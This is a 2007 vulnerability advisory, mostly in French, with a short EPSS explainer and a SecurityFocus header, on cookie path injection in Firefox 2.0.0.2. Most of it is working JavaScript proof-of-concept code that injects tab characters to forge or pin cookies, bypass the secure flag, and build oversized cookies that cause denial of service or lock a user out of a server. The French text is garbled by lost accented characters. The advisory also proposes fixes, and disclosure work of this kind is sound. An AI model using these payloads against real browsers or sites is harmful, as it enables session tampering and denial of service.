Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

source: https://www.securityfocus.com/bid/22879/info Mozilla Firefox is prone to a remote denial-of-service vulnerability. An attacker may exploit this vulnerability to cause Mozilla Firefox to crash, resulting in denial-of-service conditions. Little is known regarding this vulnerability; this BID will be updated when more information is disclosed. Mozilla Firefox 2.0.0.2 is prone to this issue; other versions may also be affected. Attackers may be able to bypass cookie domain and path restrictions, but this has not been confirmed. ____________________________________________________________________________________________________ Mozilla Firefox ('document.cookie') Path Argument Multiple Vulnerabilities ____________________________________________________________________________________________________ Advisory : ADV001a Risk : Moderate Credit : Nicolas DEROUET (nicolas.derouet[gmail]com) Date : 2007-03-08 Software : Mozilla Firefox version 2.0.0.2 (Other versions or products may be also affected) ____________________________________________________________________________________________________ I think identify multiple vulnerabilities in Mozilla Firefox (default installation) which could be exploited by malicious users to bypass the same origin policy, cause a denial of service and conduct other attacks by writing the path of 'document.cookie' with tabulations or/and a large size. Description (in French, sorry) User Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2 ____________________________________________________________________________________________________ #1 Introduction ____________________________________________________________________________________________________ Un cookie, dans le fichier 'cookies.txt', est composée sept champs : le domaine du cookie, le drapeau pour savoir s'il peut êe lu par les autres machines du mê domaine, le chemin (path), le drapeau de séritéla date d'expiration, le nom du cookie et la valeur du cookie. Si nous exétons ce code JavaScript : URL : http://127.0.0.1/ JAVASCRIPT : document.cookie = 'DEMO=A; domain=127.0.0.1; path=/; expires=Mon, 03-Sep-2007 00:00:01 GMT;'; Nous obtiendrons ceci dans le fichier 'cookies.txt' : COOKIES.TXT : 127.0.0.1 FALSE / FALSE 1181270854 DEMO A Dans cette analyse, nous allons nous intésséarticulièment au 'PATH' du cookie. ____________________________________________________________________________________________________ #2 Injection de donnéavec la variable path ____________________________________________________________________________________________________ a) Préntation --------------- Les champs dans le fichier 'cookies.txt' sont sérépar des tabulations (\t or \x09) hors le 'PATH' dans 'document.cookie' autorise l'utilisation des tabulations. Par exemple, en modifiant le 'PATH' avec cette valeur '/\x09FALSE\x091188777601\x09B\x09123', j'obtiens ceci (mon cookie d'origine a pour valeur est 'DEMO=A') URL : http://127.0.0.1/index.htm JAVASCRIPT : document.cookie = 'DEMO=A; domain=127.0.0.1; path=/\x09FALSE\x091188777601\x09B\x09123; expires=Mon, 03-Sep-2007 00:00:01 GMT;'; COOKIES.TXT : 127.0.0.1 FALSE / FALSE 1188777601 B 123 FALSE 1181270854 DEMO A ^----------------------^ | | PATH INJECTION NAME VALUE Sur cette page http://127.0.0.1/index.htm, la valeur de 'location.pathname' est éle à/'. Donc, mon cookie est inutilisable (pour le moment) car je me situe au mauvais chemin (PATH). En redérrant mon navigateur, je peux voir que mon cookie est utilisable sur la page http://127.0.0.1/index.htm, il s'est transforméour devenir 'B=123 FALSE 1181270854 DEMO A'. COOKIES.TXT : 127.0.0.1 FALSE / FALSE 1188777601 B 123 FALSE 1181270854 DEMO A | | ^-------------------------^ PATH NAME VALUE Pour conclure, nous pouvons voire que n'importe quelle utilisateur malicieux peut mettre ce code en place trèfacilement et que ce code prénte peu de danger dans ce contexte car il modifie la variable cookie de son propre domaine. b) Créion de cookies identiques --------------------------------- Si nous exétons ce code : document.cookie = 'id=6; domain=127.0.0.1; path=/; expires=Mon, 03-Sep-2007 00:00:01 GMT;'; document.cookie = 'id=7; domain=127.0.0.1; path=/; expires=Mon, 03-Sep-2007 00:00:01 GMT;'; document.cookie = 'id=8; domain=127.0.0.1; path=/; expires=Mon, 03-Sep-2007 00:00:01 GMT;'; document.cookie = 'id=9; domain=127.0.0.1; path=/; expires=Mon, 03-Sep-2007 00:00:01 GMT;'; Nous aurons uniquement un seul cookie avec une variable id à. Par contre avec la vulnébilitéréntéi-dessus, nous pouvons cré plusieurs cookies identiques. Voici un code d'exemple : URL : http://127.0.0.1/index.htm JAVASCRIPT : document.cookie = 'B=123\x09FALSE\x091188777601\x09id\x098; domain=127.0.0.1; path=/; expires=Wed, 05-Sep-2007 01:00:00 GMT;'; document.cookie = 'id=8; domain=127.0.0.1; path=/\x09FALSE\x091188777601\x09B\x09123; expires=Mon, 03-Sep-2007 00:00:01 GMT;'; COOKIES.TXT : 127.0.0.1 FALSE [/] FALSE 1181270854 [B] [123 FALSE 1181270854 id 8] 127.0.0.1 FALSE [/ FALSE 1181270854 B 123] FALSE 1181270854 [id] [8] En redérrant le navigateur, nous aurons deux cookies identiques. Prenons maintenant un deuxiè exemple, URL : http://127.0.0.1/index.htm JAVASCRIPT : document.cookie = 'BUG=YES; domain=127.0.0.1; path=/\x09FALSE\x091188777601\x09PREF\x092; expires=Mon, 03-Sep-2007 00:00:01 GMT;'; document.cookie = 'PREF=1; domain=127.0.0.1; path=/; expires=Wed, 05-Sep-2007 01:00:00 GMT;'; COOKIES.TXT : 127.0.0.1 FALSE [/] FALSE 1181270854 [PREF] [1] 127.0.0.1 FALSE [/ FALSE 1181270854 PREF 2] FALSE 1181270854 [BUG] [YES] Si on redérre le navigateur, 'document.cookie' donnera 'PREF=1; PREF=2 FALSE 1188777601 BUG YES'. Nous allons maintenant modifier le cookie PREF (je rappelle que nous avons deux cookies avec un nom identique 'PREF') URL : http://127.0.0.1/index.htm JAVASCRIPT : document.cookie = 'PREF=3; domain=127.0.0.1; path=/; expires=Mon, 03-Sep-2007 00:00:01 GMT;'; COOKIES.TXT : 127.0.0.1 FALSE / FALSE 1181270854 PREF 1 127.0.0.1 FALSE / FALSE 1181270854 PREF 3 A ce moment, 'document.cookie' est éle àPREF=1; PREF=3'. Nous pouvons voir que la modification de la valeur cookie 'PREF' impacte sur une seule valeur et non sur les deux. J'ai voulu savoir comment é interpré la valeur du cookie du cotéerveur (exemple PHP) et du cotélient. Pour le cotélient, j'ai répé sur internet une fonction JavaScript qui permet de répér la valeur d'un cookie passén paramèe. JAVASCRIPT (cotélient) function getCookieVal (c_name) { if (document.cookie.length>0) { c_start=document.cookie.indexOf(c_name + "=") if (c_start!=-1) { c_start=c_start + c_name.length+1 c_end=document.cookie.indexOf(";",c_start) if (c_end==-1) c_end=document.cookie.length return unescape(document.cookie.substring(c_start,c_end)) } } return "" } PHP (cotéerveur) <?php echo $_COOKIE['PREF']; ?> Géralement ils prennent la premiè valeur qu'il trouve. Ces deux cas me disent que la valeur de PREF est 1. Ainsi malgrées modifications apporté àa valeur de PREF (mise àa valeur 3), elle sera trèsouvent interprée du cotélient et du cotéerveur comme ayant la valeur 1. Némoins, si on redérre le navigateur alors document.cookie donnera 'PREF=3; PREF=1' et la fonction getCookieVal('PREF') donnera '3' avec aucune possibilitée modifier la valeur de 3. Notre exemple ici n'est pas trop dangereux et n'est pas complèment dramatique mais avec des autres variables tel que les prérences (par exemple : notre panier pour des sites commerciaux), le PHPSESSID, etc. cela pourrait devenir trèennuyeux pour un utilisateur. c) By passer la restriction SECURE ----------------------------------- Admettons que nous sommes sur le site http://www.monsite.fr/, il est normalement interdit de cré un cookie avec l'option secure (option rérvépour les protocoles sérisécomme HTTPS) URL : http://www.monsite.fr/index.htm JAVASCRIPT : document.cookie = 'PREF=1; domain=.monsite.fr; path='/'; expires=Mon, 03-Sep-2007 00:00:01 GMT; secure;'; Le réltat est impossible. Cependant grâ à'injection dans la variable 'PATH', nous pouvons cré un cookie afin de sauter cette restriction. URL : http://www.monsite.fr/index.htm JAVASCRIPT : var path = '/\x09TRUE\x091188777601\x09PREF\x092'; // TRUE = secures document.cookie = 'PREF=1; domain=.monsite.fr; path='+path+'; expires=Mon, 03-Sep-2007 00:00:01 GMT;'; Dans l'exemple ci-dessus document.cookie donnera 'PREF=2 FALSE 1188777601 PREF 1'. L'injection de donné par le 'PATH' ne nous donne pas la possibilitée donner une valeur souhaitéàotre cookie car les vrais arguments ( FALSE 1188777601 PREF 1) vont se greffer àa fin. Cependant, notre cookie pourrait trèbien éaser et figer la valeur (cf #1b) d'un cookie sériséréàartir de httpS://www.monsite.fr/ ou httpS://sous.domaine.monsite.fr/. d) Conclusion ------------- Nous pouvons voir ci-dessus une liste non-exhaustive d'exemples qui permettent d'exploiter cette faille. Avec d'autre exemple, j'ai pu interagir sur le gestionnaire de cookie (cookie manager) afin de ne pas afficher les valeurs d'un cookie spéalement conçou de rendre impossible la suppression d'un cookie avec l'option 'Supprimer le cookie' ou la touche supprimer. Je n'ai pas poussées tests plus loin mais je me pense qu'il y a une multitude d'utilisation possible surtout additionner avec une autre vulnébilitémportante préntédans le paragraphe suivant ... ____________________________________________________________________________________________________ #3 Aucune restriction de taille pour 'PATH' ____________________________________________________________________________________________________ A y rééir, j'aurais du appelée paragraphe : "Manger de trop gros cookie fait grossir !". Firefox ne donne aucune limite de taille pour la variable path dans le document.cookie, ce qui permet de cré des cookies de trègrande taille. Cette vulnébilitéeut provoquer et êe utiliser pour des attaques de type dé de service (DoS) de diffénte faç : 1) Direct, on alloue un grand nombre de donné nous avons un DoS (exemple ci-dessous) 2) Indirect, on créplusieurs cookie de moyenne taille nous aurons un espace disque utilisét quand firefox redérrera il utilisera une grosse partie de la méire pour les cookies. URL : http://127.0.0.1/index.htm JAVASCRIPT : var path = '/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a'; // 32 for (i=0; i<24; i++) { path = path + path; } // 32 x 2^22 = 536 870 912 document.cookie = 'SIZE='+path.length+'; domain=127.0.0.1; path='+path+'; expires=Mon, 03-Sep-2007 00:00:01 GMT;'; alert ('Cookie : ' +path.length+' octets'); En modifiant le code (la valeur limite de i à1), j'ai rési àré un cookie de 124 Mo sur mon ordinateur et j'ai pu constater que Firefox utilisélus de 124 Mo de méire. ____________________________________________________________________________________________________ #3 Utilisation des deux vulnébilité____________________________________________________________________________________________________ Grâ àes deux vulnébilité nous avons la possibilitée désser les restrictions de taille sur les champs suivants : le chemin (path), le drapeau de séritéla date d'expiration, le nom du cookie et la valeur du cookie. Prenons un exemple avec le nom et la valeur du cookie, La somme de la taille des variables NOM et VALEUR d'un cookie est limitéà096 caractès. En injectant des donné dans ces variables, nous pouvons leur attribuer une valeur supéeure àeur taille maximale autorisé Dans l'exemple, ci-dessous on injecte plus de 65536 caractès. Lorsqu'on redérrera le navigateur, afin que la valeur du cookie soit active, nous ne pouvons plus nous connecter sur le serveur car l'argument cookie de notre requê HTTP est trop grand. (sympa pour des admins qui veulent bannir certains utilisateurs :) var data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; // 32 for (i=0; i<11; i++) { data = data + data; } // 32 x 2^11 = 65536 var path = '/\x09FALSE\x091188777601\x09DATA\x09' + data; document.cookie = 'DEMO=7; domain=127.0.0.1; path='+path+'; expires=Mon, 03-Sep-2007 00:00:01 GMT;'; alert ('Cookie Data is injected ! Please restart Firefox.'); ____________________________________________________________________________________________________ #4 Existe t-il un risque overflow ? ____________________________________________________________________________________________________ Sincèment, je ne me suis pas penchéur cette question àa recherche de code qui permettrait de déntrer l'utilisation d'un overflow. Je pense que les vulnébilitéprénté ont déntréue nous pouvons autoriser certains champs (5 champs) àésser leur taille normale grâ à'injection de donné dans la variable 'PATH'. Cependant, si un overflow peut êe utiliséans cet exemple, il pourrait s'activer au dérrage de Firefox. NB: Si vous résissez àéntrer l'utilisation d'un overflow merci de me tenir informer. (nicolas.derouet[gmail]com) ____________________________________________________________________________________________________ #5 Solution ____________________________________________________________________________________________________ Les solutions sont assez simples. Pour la premiè vulnébilitéil faudrait êe plus restrictif sur les caractès autorisédans les diffénts champs du document.cookie par exemple interdire les tabulations pour le 'PATH'. Pour la deuxiè vulnébilitéil faudrait limiter la taille du 'PATH'. Nicolas DEROUET (nicolas.derouet[gmail]com) ____________________________________________________________________________________________________